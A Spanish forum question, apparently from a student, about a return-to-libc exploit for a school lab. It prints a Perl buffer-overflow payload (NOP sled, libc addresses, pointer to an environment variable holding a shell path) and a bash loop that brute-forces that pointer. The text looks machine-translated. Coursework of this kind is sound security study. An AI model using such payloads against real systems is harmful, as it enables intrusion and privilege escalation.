Para la escuela tenemos que realizar un exploit de retorno a libc. Al hacer esto, necesitamos generar un shell desde / bin / xh que imprimirá un mensaje que hemos logrado con nuestro exploit.
Para hacer este exploit, utilicé este script para entrar
$(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x25\xf9\xff\xbf"')
\ x25 \ xf9 \ xff \ xbf apunta a una variable de entorno que me inserté mediante el uso del comando "exportar", la cadena SHELLMINE = / bin / xh para ser exactos. Usar la cadena del shell bash normal no es útil, ya que no me permitirá ingresar al shell que imprime el texto de sucesión. Por supuesto, soy consciente de que las direcciones de las variables cambian de vez en cuando, por lo que la parte "\ x25" se modifica cuando es necesario.
Este script funciona cuando se usa directamente en el terminal.
Ahora, el problema es el hecho de que no funcionará cuando se usa desde un script bash. Esto se debe a que las variables de entorno que se utilizan al ejecutar el script están en un lugar diferente. Intenté usar un depurador que se ejecuta desde el script y buscar la dirección allí, pero con la dirección encontrada tampoco funciona
Este es el código que tengo
for i in 'seq 192 239';
do
number=$(printf "%02x" "$i");
export SHELLMINE=/bin/xh
echo "$number"
echo "'print \x90 x (789) . \x60\xb0\xe6\xb7 . \xe0\xeb\xe5\xb7 . \x$number\xf8\xff\xbf '"
$lev $(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x'"$number"'\xf8\xff\xbf" ')
done
Básicamente, lo que necesito es una forma de obtener la dirección de la variable de entorno o una mejor manera de insertar la cadena que se utilizará en el exploit.